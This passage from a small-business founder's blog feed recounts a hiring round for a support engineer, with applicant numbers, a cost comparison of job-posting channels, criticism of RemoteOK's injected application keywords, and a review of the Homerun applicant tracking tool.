&lt;p>The reason I was able to reduce prices was that I finally have a healthy supply of circuit boards. The chip shortage forced us into an eight-month redesign to replace a component that went out of stock. I had to keep prices high to avoid selling out our limited inventory. Now that we can continue making new chips, I have more flexibility in price and sales velocity.&lt;/p>
&lt;h2 id="handling-8x-the-applicant-rate">Handling 8x the applicant rate&lt;/h2>
&lt;p>I hired a second support engineer in August, and it was a drastically different experience from when I hired for the same role six months ago.&lt;/p>
&lt;p>Last time, I &lt;a href="https://mtlynch.io/retrospectives/2022/03/#hiring-a-support-engineer-the-job-posting">received 221 applicants in 30 days&lt;/a>. This time, there were 802 applications in only two weeks. There were so many applicants that I had to actively slow things down, and I ultimately closed applications entirely after two weeks.&lt;/p>
&lt;p>I wanted to pause my job listing while I caught up with responses. We Work Remotely, annoyingly, doesn&amp;rsquo;t let you temporarily hide job posts. You either delete them permanently and forfeit all the time you&amp;rsquo;ve paid for, or you leave them running and attract more candidates than you can handle.&lt;/p>
&lt;p>As a workaround, I left the job listings up, but I changed the location requirement from &amp;ldquo;Worldwide&amp;rdquo; to &amp;ldquo;US only.&amp;rdquo; There&amp;rsquo;s nothing about the role that strictly requires candidates to live in the US, but it was the best way I could think of to slow the flow of applications without totally taking down the post.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/support-engineer-applicants.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/support-engineer-applicants_hu_3b5db80f8ab79700.png 300w, https://mtlynch.io/retrospectives/2022/09/support-engineer-applicants_hu_ba568cf24b70c501.png 600w, https://mtlynch.io/retrospectives/2022/09/support-engineer-applicants_hu_d12076316342c94d.png 800w, https://mtlynch.io/retrospectives/2022/09/support-engineer-applicants.png 1057w'
 src="https://mtlynch.io/retrospectives/2022/09/support-engineer-applicants.png" alt="Graph of applications per day" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Adding a location requirement did slow down the rate of new applications by about half. Still, many applicants ignored the requirement. Only 42% of the candidates said they actually lived in the US after the requirement compared with 18% before.&lt;/p>
&lt;p>I closed applications after two weeks, as I&amp;rsquo;d received 802 applications, and I knew I wouldn&amp;rsquo;t be able to process all of them fast enough to give candidates timely responses.&lt;/p>
&lt;p>Why so many more applicants this time? Here are my guesses:&lt;/p>
&lt;h3 id="structured-web-forms-are-less-intimidating-than-email">Structured web forms are less intimidating than email&lt;/h3>
&lt;p>I think the biggest factor was that candidates applied through a web form this time. Last time, I told people to just email me a resume and cover letter. I suspect people feel more comfortable filling out a structured form, so it encourages more people to apply.&lt;/p>
&lt;p>The downside is that the web form seems to attract more low-effort applicants. Last time, 18% of We Work Remotely applicants were strong enough to pass the initial resume screen. This time, only 6% proceeded past the first stage.&lt;/p>
&lt;h3 id="more-hiring-channels-means-more-candidates">More hiring channels means more candidates&lt;/h3>
&lt;p>I posted the job to two additional channels: RemoteOK and Craigslist. Craigslist didn&amp;rsquo;t seem to add many applicants, but RemoteOK added 127 over two weeks.&lt;/p>
&lt;h3 id="a-declining-economy-means-more-job-seekers">A declining economy means more job-seekers&lt;/h3>
&lt;p>Lastly, the global economy is worse today than it was when I hired six months ago. There are more fears of a recession, and fewer companies are hiring. I&amp;rsquo;d assume it&amp;rsquo;s more of an employer&amp;rsquo;s market than it was earlier in the year.&lt;/p>
&lt;h2 id="comparing-channels-for-advertising-remote-jobs">Comparing channels for advertising remote jobs&lt;/h2>
&lt;p>Through this process, I found that different hiring channels had drastically different returns on investment.&lt;/p>
&lt;p>The two metrics I care about are:&lt;/p>
&lt;ul>
&lt;li>Number of qualified candidates&lt;/li>
&lt;li>Percentage of qualified candidates out of total applicants&lt;/li>
&lt;/ul>
&lt;p>I want a platform that can deliver me about 10-20 qualified candidates per role so that I have a decent pool of options to choose from. If the platform&amp;rsquo;s signal-to-noise is so bad that I have to screen 3,000 people to find a handful who are qualified, it&amp;rsquo;s not valuable.&lt;/p>
&lt;p>For the purposes of this evaluation, I consider everyone who passed my resume screening to be a qualified candidate. I&amp;rsquo;m also only considering the applications for the five days when the job was open worldwide. This is partly because changing the location requirement biases the responses, and partly because I haven&amp;rsquo;t finished processing all the other applications.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Channel&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;th>Total Candidates&lt;/th>
 &lt;th>Passed Initial Screen&lt;/th>
 &lt;th>Cost per Qualified Candidate&lt;/th>
 &lt;th>Trial Hires&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>We Work Remotely&lt;/td>
 &lt;td>$398&lt;/td>
 &lt;td>359&lt;/td>
 &lt;td>20 (6%)&lt;/td>
 &lt;td>$20&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Remote OK&lt;/td>
 &lt;td>$448&lt;/td>
 &lt;td>67&lt;/td>
 &lt;td>0 (0%)&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Craigslist&lt;/td>
 &lt;td>$25&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>1 (33%)&lt;/td>
 &lt;td>$25&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://news.ycombinator.com/item?id=32418196">Hacker News&lt;/a>&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>0 (0%)&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Other aggregators&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>53&lt;/td>
 &lt;td>1 (8%)&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Unknown / applied directly*&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>52&lt;/td>
 &lt;td>3 (15%)&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$871&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>464&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>25 (5%)&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$35&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>1&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* The &amp;ldquo;Unknown&amp;rdquo; category includes candidates who applied through the link on the TinyPilot website, so it includes people who saw me post about it on Twitter or other places. My final hire found the job from &lt;a href="https://twitter.com/deliberatecoder/status/1557385358576418817">my tweet&lt;/a>.&lt;/p>
&lt;p>We Work Remotely performed pretty well. It has its share of low-effort and spammy applicants, but finding 20 candidates out of 359 is a pretty good ratio.&lt;/p>
&lt;p>RemoteOK had no qualified candidates in this time range, and my experience using it was so bad that it deserves its own section.&lt;/p>
&lt;h2 id="remoteok-is-hugely-disappointing">RemoteOK is hugely disappointing&lt;/h2>
&lt;p>I&amp;rsquo;ve been a fan of &lt;a href="https://levels.io/">Pieter Levels&lt;/a> for a long time. &lt;a href="https://www.indiehackers.com/podcast/043-pieter-levels-of-nomad-list">His interview on the &lt;em>Indie Hackers&lt;/em> podcast&lt;/a>, is one of the best episodes of the series. Pieter does a great job of highlighting what makes the bootstrapper lifestyle exciting and liberating.&lt;/p>
&lt;p>Unfortunately, RemoteOK, Pieter&amp;rsquo;s flagship business, was a huge letdown. I can&amp;rsquo;t remember the last time I&amp;rsquo;ve used a product that feels like it&amp;rsquo;s fighting so stubbornly against me, its paying user.&lt;/p>
&lt;p>Right off the bat, when you create the job post, RemoteOK pushes all these little upsells on you.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/remoteok-upsells.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/remoteok-upsells_hu_87c7191b3b99bd8.png 300w, https://mtlynch.io/retrospectives/2022/09/remoteok-upsells_hu_b362dc22753430dc.png 600w, https://mtlynch.io/retrospectives/2022/09/remoteok-upsells_hu_8ced8c66ca6fa94a.png 800w, https://mtlynch.io/retrospectives/2022/09/remoteok-upsells.png 1087w'
 src="https://mtlynch.io/retrospectives/2022/09/remoteok-upsells.png" alt="Screenshot of upsells on Remote OK" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>RemoteOK pushes employers to choose among nine different upsells, including $134 to generate a QR code.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We Work Remotely tries similar upsells, but theirs don&amp;rsquo;t feel as gross. Maybe it&amp;rsquo;s because We Work Remotely isn&amp;rsquo;t charging $134 to create a QR code for you.&lt;/p>
&lt;p>RemoteOK jobs have tags to help applicants search, so I added tags like &lt;code>linux&lt;/code>, &lt;code>customer support&lt;/code>, &lt;code>flexible schedule&lt;/code>. When I came back to the job a few hours later, I saw that RemoteOK had automatically added several inaccurate tags like &lt;code>microsoft&lt;/code> &lt;code>windows&lt;/code> &lt;code>webdev&lt;/code> &lt;code>development&lt;/code> even though those have nothing to do with my job. I erased RemoteOK&amp;rsquo;s tags, but the next day, they were back. The only way I could get rid of them permanently was by adding more tags myself.&lt;/p>
&lt;p>The most egregious example of RemoteOK taking control away from the user is its magic keywords. RemoteOK adds the instruction, &amp;ldquo;Please mention the word [&lt;em>some random word&lt;/em>] when applying to show you read the job post completely.&amp;rdquo; RemoteOK doesn&amp;rsquo;t tell you that it&amp;rsquo;s adding these instructions, and &lt;a href="https://twitter.com/deliberatecoder/status/1557394573189595137">you can&amp;rsquo;t remove them&lt;/a>.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1008px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/employer-view.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1008px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/employer-view_hu_fcf38766e65ae92d.png 300w, https://mtlynch.io/retrospectives/2022/09/employer-view_hu_e45dfb1f3b9a587b.png 600w, https://mtlynch.io/retrospectives/2022/09/employer-view_hu_2dad8b939438dd44.png 800w, https://mtlynch.io/retrospectives/2022/09/employer-view.png 1006w'
 src="https://mtlynch.io/retrospectives/2022/09/employer-view.png" alt="Employer view contains instructions I wrote" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 962px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/candidate-view.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 962px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/candidate-view_hu_12da907d19464176.png 300w, https://mtlynch.io/retrospectives/2022/09/candidate-view_hu_e237482ff15b95af.png 600w, https://mtlynch.io/retrospectives/2022/09/candidate-view_hu_8da0cad2f90baeeb.png 800w, https://mtlynch.io/retrospectives/2022/09/candidate-view.png 960w'
 src="https://mtlynch.io/retrospectives/2022/09/candidate-view.png" alt="Applicant view contains extra text: Please mention the word EMINENCE when applying to show you read the job post completely." loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>RemoteOK injects additional instructions to your candidates that are not visible to you. You &lt;a href="https://twitter.com/deliberatecoder/status/1557394573189595137">can&amp;rsquo;t disable this behavior&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I hate, hate, HATE this feature. I wouldn&amp;rsquo;t have listed my job on RemoteOK at all had I known about it.&lt;/p>
&lt;p>I find these &amp;ldquo;magic keyword&amp;rdquo; requirements insulting to applicants, and I deliberately exclude things like that when advertising my job. It&amp;rsquo;s incredibly irritating that RemoteOK surreptitiously injects it into the job posting I purchased.&lt;/p>
&lt;p>Most damning of all, RemoteOK failed entirely at its one job: delivering qualified candidates. None of RemoteOK&amp;rsquo;s candidates passed my initial application screen, while We Work Remotely matched me with 20 qualified applicants during the same time period.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Update (2022-09-25)&lt;/strong>: In response to this post, Pieter Levels &lt;a href="https://twitter.com/levelsio/status/1574135843505467392">pledged&lt;/a> to work on the issues I mentioned and graciously refunded my payment.
&lt;/div>

&lt;h2 id="homerun-is-good-not-great">Homerun is good, not great&lt;/h2>
&lt;p>Last time I hired, I directed candidates to just email me, and then I organized applications using inbox labels. That ended up being messy and confusing.&lt;/p>
&lt;p>This time around, I &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/">tested several applicant tracking systems&lt;/a>, eventually settling on &lt;a href="https://homerun.co">Homerun&lt;/a>.&lt;/p>
&lt;p>After using Homerun for the full hiring pipeline, I&amp;rsquo;m pretty satisfied. The UI looks nice, and it did everything I needed. Everything felt fairly intuititive, so it was easy to process applications in an organized way.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 















&lt;div class="img" style="max-width: 195px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/email-labels.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 195px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/email-labels.png 193w'
 src="https://mtlynch.io/retrospectives/2022/09/email-labels.png" alt="Screenshot of inbox labels in Fastmail" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/homerun-kanban.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/homerun-kanban_hu_6472ee6fe6a29616.png 300w, https://mtlynch.io/retrospectives/2022/09/homerun-kanban_hu_c3fcb98d0b348ae8.png 600w, https://mtlynch.io/retrospectives/2022/09/homerun-kanban_hu_b176b9ca621f461f.png 800w, https://mtlynch.io/retrospectives/2022/09/homerun-kanban_hu_cee7638a5a62b9b7.png 1200w, https://mtlynch.io/retrospectives/2022/09/homerun-kanban.png 1722w'
 src="https://mtlynch.io/retrospectives/2022/09/homerun-kanban.png" alt="Homerun sorts applications in a kanban view of hiring stages" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Last time I organized applicants in my email using inbox labels (left). This time, I used Homerun, which has better organization with a Kanban view of applications (right).&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I really liked Homerun&amp;rsquo;s templated email feature. I rarely sent candidates pure form letters, but it was helpful having a skeleton structure in place for common responses like:&lt;/p>
&lt;ul>
&lt;li>You don&amp;rsquo;t have enough Linux experience&lt;/li>
&lt;li>Your English isn&amp;rsquo;t at the level the role requires&lt;/li>
&lt;li>You&amp;rsquo;re a great candidate, so let&amp;rsquo;s move on to the sample questions&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/poor-english-rejection.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/poor-english-rejection_hu_e1736799a855746e.png 300w, https://mtlynch.io/retrospectives/2022/09/poor-english-rejection_hu_f7fe1702da564f54.png 600w, https://mtlynch.io/retrospectives/2022/09/poor-english-rejection_hu_d4614252b8738fed.png 800w, https://mtlynch.io/retrospectives/2022/09/poor-english-rejection.png 997w'
 src="https://mtlynch.io/retrospectives/2022/09/poor-english-rejection.png" alt="Hi [first_name], Thanks for applying for the [job_title] opening at [company_name] and for taking the time to learn more about the company. Unfortunately, I don&amp;#39;t think this position would be a good match for your skills. This position requires someone more with more experience writing customer-facing content. Your English is pretty strong, but there were several syntax errors in your application, so I don&amp;#39;t think this role would be a good fit. I&amp;#39;m sorry it didn&amp;#39;t work out, but I wish you the best of luck in your search." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I created email templates as a starting point for emails of different common categories.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Homerun costs $71/mo, which is within the affordable range for most small businesses. And billing is fair in that you don&amp;rsquo;t have to pay for months when you&amp;rsquo;re not hiring. Most &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/">other applicant tracking platforms&lt;/a> delete all of your data if you stop paying the full monthly fee. Homerun allows you to downgrade to the free plan when you&amp;rsquo;re not actively hiring, which preserves all of your data. The only restriction under the free tier is that you can&amp;rsquo;t accept new applicants until you begin paying again.&lt;/p>
&lt;p>I did encounter a few big weaknesses in Homerun:&lt;/p>
&lt;h3 id="cant-filter-candidates">Can&amp;rsquo;t filter candidates&lt;/h3>
&lt;p>With such a high volume of candidates, I wanted a way to reach out early to the most promising ones. I&amp;rsquo;d love to filter down to candidates who live in an English-speaking country and rate themselves proficient in Linux. Homerun has this data, but they don&amp;rsquo;t offer any way of filtering candidates on these criteria. The only way to find these applicants in my queue is by reviewing each application one-by-one.&lt;/p>
&lt;h3 id="bad-email-ux">Bad email UX&lt;/h3>
&lt;p>One of the Homerun&amp;rsquo;s worst UI decisions is how their email works. Like all applicant tracking systems, Homerun lets you email candidates from within their web app. But it does this by popping up a modal window:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/modal-email.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/modal-email_hu_72019caeeb10469b.png 300w, https://mtlynch.io/retrospectives/2022/09/modal-email_hu_988b72922865ec74.png 600w, https://mtlynch.io/retrospectives/2022/09/modal-email_hu_1916e2968f5af067.png 800w, https://mtlynch.io/retrospectives/2022/09/modal-email_hu_bc392bc534cbe47e.png 1200w, https://mtlynch.io/retrospectives/2022/09/modal-email.png 1718w'
 src="https://mtlynch.io/retrospectives/2022/09/modal-email.png" alt="Screenshot of modal window in Homerun blocking all relevant information about the candidate" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Homerun&amp;rsquo;s in-app email creates a modal window that prevents you from referring to the candidate&amp;rsquo;s application while you email them.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The modal window completely blocks everything the candidate wrote in their application, so you can&amp;rsquo;t refer to any of your notes, their resume, or their answers to questions on the application form. This is a terrible choice, as employers obviously need this information when writing back to the candidate.&lt;/p>
&lt;p>I worked around this by keeping Homerun open in two side-by-side windows. This worked okay, but Homerun doesn&amp;rsquo;t sync well across browser windows. If I marked a candidate as rejected in one window, the other window would get confused and reload from the top of the applicant list.&lt;/p>
&lt;h3 id="poor-email-deliverability">Poor email deliverability&lt;/h3>
&lt;p>I sent candidates my sample assignment as a link to a PDF, but several candidates told me they didn&amp;rsquo;t receive it. I suspect that Homerun uses email servers with weak sender reputations, so spam filters block Homerun emails that include links.&lt;/p>
&lt;h3 id="slow-web-app">Slow web app&lt;/h3>
&lt;p>The Homerun web app is annoyingly slow. I have a modern desktop with fiber internet, but most Homerun pages take 2-5 seconds to load. Some take as long as 10 seconds.&lt;/p>
&lt;h2 id="improvements-for-my-next-hire">Improvements for my next hire&lt;/h2>
&lt;p>I&amp;rsquo;m dissatisfied with how I treated candidates this round of hiring. I wasn&amp;rsquo;t prepared for the volume of applications, and I wasted applicants&amp;rsquo; time by accepting more applications than I could process within a reasonable timeframe.&lt;/p>
&lt;p>Here are some changes I plan to make next time to improve the hiring experience for everyone.&lt;/p>
&lt;h3 id="be-more-conservative-in-sending-responses">Be more conservative in sending responses&lt;/h3>
&lt;p>When I first started processing applications with Homerun, I got overeager about its email templates. My last hiring round, if a candidate sent a low-effort application, I just ignored them. With Homerun, the email templates made it easy to respond even to people who put in low effort.&lt;/p>
&lt;p>I made a template that basically said I&amp;rsquo;m rejecting them because their application looked copy/pasted. I figured it was good to at least give feedback that copy/pasting applications is losing them jobs.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/low-effort-rejection.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/low-effort-rejection_hu_1ccdd127760a3c80.png 300w, https://mtlynch.io/retrospectives/2022/09/low-effort-rejection_hu_c63e46323826fcbe.png 600w, https://mtlynch.io/retrospectives/2022/09/low-effort-rejection_hu_9c0349da92215619.png 800w, https://mtlynch.io/retrospectives/2022/09/low-effort-rejection.png 1000w'
 src="https://mtlynch.io/retrospectives/2022/09/low-effort-rejection.png" alt="Hi [first_name], Thanks for applying for the [job_title] opening at TinyPilot. Unfortunately, I&amp;#39;ve decided not to move forward with your application. I read the answers to the questions you submitted, and it didn&amp;#39;t seem like there was anything specific about the company or work that appealed to you, so I don&amp;#39;t think this would be a good match. Sorry that it didn&amp;#39;t work out, but I wish you luck in your job search." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My form-letter response for candidates who applied with copy/pasted application answers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This strategy worked poorly.&lt;/p>
&lt;p>Of the candidates who responded, about 50% were gracious and appreciated the feedback, so that was good. About 20% were rude or hostile, so that was bad.&lt;/p>
&lt;p>The last 30% realized an actual human was finally engaging with them, and their application hadn&amp;rsquo;t disappeared into the void like they&amp;rsquo;d assumed. At that point, they started researching the company and said they, in fact, were interested in TinyPilot specifically. That put me in a weird position. If I reconsidered their application, it felt unfair to candidates who wrote thoughtful answers up front instead of copy/pasting the same thing to everyone.&lt;/p>
&lt;p>After a day or two of burning time on low-effort applications, I just stopped responding to that category of applicants. I changed my strategy to respond only if the following were true:&lt;/p>
&lt;ul>
&lt;li>The candidate is qualified for the role at a basic level
&lt;ul>
&lt;li>e.g., if one of the job requirements is &amp;ldquo;comfort with Linux&amp;rdquo; and the candidate says they&amp;rsquo;ve never used Linux: no response.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The candidate has invested at least a few minutes into their application
&lt;ul>
&lt;li>e.g., if the responses are clearly copy/pasted or dashed off: no response.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>This new strategy had the pleasant side effect of eliminating hostile responses. When I rejected the thoughtful-answer candidates and gave my reasons, they didn&amp;rsquo;t always respond, but when they did, they were professional and appreciative of the feedback.&lt;/p>
&lt;h3 id="hire-someone-to-help-me-do-the-initial-screening">Hire someone to help me do the initial screening&lt;/h3>
&lt;p>Screening resumes and applications takes dozens of hours, but it&amp;rsquo;s a task I could easily train an intelligent person to do for me.&lt;/p>
&lt;p>I don&amp;rsquo;t want to use dumb automated filters or machine learning — it&amp;rsquo;s important for me that I can tell candidates honestly that a real human is reviewing their application. It just doesn&amp;rsquo;t strictly have to be me.&lt;/p>
&lt;h3 id="build-redundancy-into-customer-support">Build redundancy into customer support&lt;/h3>
&lt;p>One of the factors that delayed my responses to the applicants was that the TinyPilot employee who usually handles customer support was out sick for a week. Customer support &lt;em>feels&lt;/em> like it has redundancy because our support engineer can fill in. And if that fails, I&amp;rsquo;m the last line of defense. But when TinyPilot&amp;rsquo;s normal customer support person was out sick, it made me realize how fragile our customer support process is.&lt;/p>
&lt;p>I forgot how much work customer support is when I&amp;rsquo;m doing it, especially with the extra burden of communicating with 800 job applicants. On top of that, I was on vacation for a few days, which meant that TinyPilot&amp;rsquo;s support engineer was the only one offering support. That was rocky because he doesn&amp;rsquo;t have access to Shopify or our local fulfillment office, so he was limited in what kind of support he could offer.&lt;/p>
&lt;p>Once things are settled with the support engineering team, I&amp;rsquo;m going to add a second person to handle customer support, too. That will help keep things smooth when one person is sick or on vacation.&lt;/p>
&lt;h3 id="convert-the-job-application-form-to-a-waitlist-once-i-reach-some-limit">Convert the job application form to a waitlist once I reach some limit&lt;/h3>
&lt;p>Even if I get other people to help me with hiring, there are limits to how many applications we can review in a reasonable timeframe. Once we exceed some limit like 400 candidates, I should convert the application to a waitlist so I&amp;rsquo;m not wasting candidates&amp;rsquo; time by asking to explain why they want to work with me.&lt;/p>
&lt;h3 id="remember-how-time-consuming-it-is">Remember how time-consuming it is&lt;/h3>
&lt;p>I&amp;rsquo;ve hired through a job posting before, but I forgot how time-consuming the process was until I started doing it again.&lt;/p>
&lt;p>In my head, the time commitment looks like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/imagined-commitment.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/imagined-commitment_hu_4afa687f400991e4.png 300w, https://mtlynch.io/retrospectives/2022/09/imagined-commitment_hu_bb3205cb842932c4.png 600w, https://mtlynch.io/retrospectives/2022/09/imagined-commitment_hu_1721c29c2af5bd36.png 800w, https://mtlynch.io/retrospectives/2022/09/imagined-commitment.png 886w'
 src="https://mtlynch.io/retrospectives/2022/09/imagined-commitment.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How hiring works in my imagination&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>There&amp;rsquo;s a big influx of candidates who all apply on day one. I sort through the candidates until I&amp;rsquo;ve narrowed it down to a single person. Finally, I hire that person, they start doing tasks I used to do, and everything is great.&lt;/p>
&lt;p>In reality, the time commitment is more like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/09/real-commitment.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/09/real-commitment_hu_98d3e7fbc646c64d.png 300w, https://mtlynch.io/retrospectives/2022/09/real-commitment_hu_7ff2deb1eeade9b8.png 600w, https://mtlynch.io/retrospectives/2022/09/real-commitment_hu_500bfc3c1f53dbca.png 800w, https://mtlynch.io/retrospectives/2022/09/real-commitment.png 1085w'
 src="https://mtlynch.io/retrospectives/2022/09/real-commitment.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How hiring works in reality&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>There&amp;rsquo;s a big burst of applicants, and then while I&amp;rsquo;m processing them, people keep applying. And then when I finally hire someone, I still have to follow up with everyone I didn&amp;rsquo;t choose while simultaneously onboarding and training the new hire.&lt;/p>
&lt;p>So, next time I hire, I just have to revisit these beautiful and informative graphs to remind myself that I&amp;rsquo;ll need lots of spare bandwidth to tackle this.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Hired a second TinyPilot support engineer&lt;/li>
&lt;li>Deployed the next-generation update system to the Community version of TinyPilot&lt;/li>
&lt;li>Published my notes on &lt;a href="https://mtlynch.io/notes/bootstrapper-ats/">applicant tracking systems for bootstrappers&lt;/a>&lt;/li>
&lt;li>Published my notes on &lt;a href="https://mtlynch.io/notes/picoshare-perf/">debugging memory issues in PicoShare&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Hiring is always harder than I expect&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Migrate TinyPilot Pro to the next-generation update system.&lt;/li>
&lt;li>Send TinyPilot Voyager to two YouTube creators or bloggers for review&lt;/li>
&lt;li>Explore new case manufacturing options&lt;/li>
&lt;/ul></content:encoded></item><item><title>A Survey of Applicant Tracking Systems for Bootstrapped Businesses</title><link>https://mtlynch.io/notes/bootstrapper-ats/</link><pubDate>Fri, 12 Aug 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/bootstrapper-ats/</guid><description>&lt;p>I&amp;rsquo;m a bootstrapped founder of &lt;a href="https://tinypilotkvm.com">a six-person company&lt;/a>, and I spent this week testing different tools for hiring candidates.&lt;/p>
&lt;p>This post summarizes my experience with the applicant tracking systems (ATS) I found and how well they serve small, bootstrapped businesses.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: This isn&amp;rsquo;t affiliate blogspam where I give fake reviews to push you to sign up for whoever gives me a commission. I have no business relationship with any of these companies except as a customer. The links below are not referral or affiliate links, so I earn nothing if you sign up.
&lt;/div>

&lt;h2 id="why-use-an-applicant-tracking-system-ats">Why use an applicant tracking system (ATS)?&lt;/h2>
&lt;p>The last time I hired for a role, I posted the job on WeWorkRemotely and directed candidates to email me. I ended up &lt;a href="https://mtlynch.io/retrospectives/2022/03/#hiring-a-support-engineer-the-job-posting">receiving 221 applications&lt;/a>, so managing them in email became messy. I came up with a folder labeling system that worked okay, but this time around, I want a purpose-built tool for tracking applications.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;m a bootstrapped founder of &lt;a href="https://tinypilotkvm.com">a six-person company&lt;/a>, and I spent this week testing different tools for hiring candidates.&lt;/p>
&lt;p>This post summarizes my experience with the applicant tracking systems (ATS) I found and how well they serve small, bootstrapped businesses.&lt;/p>
&lt;div class="notice notice-info">
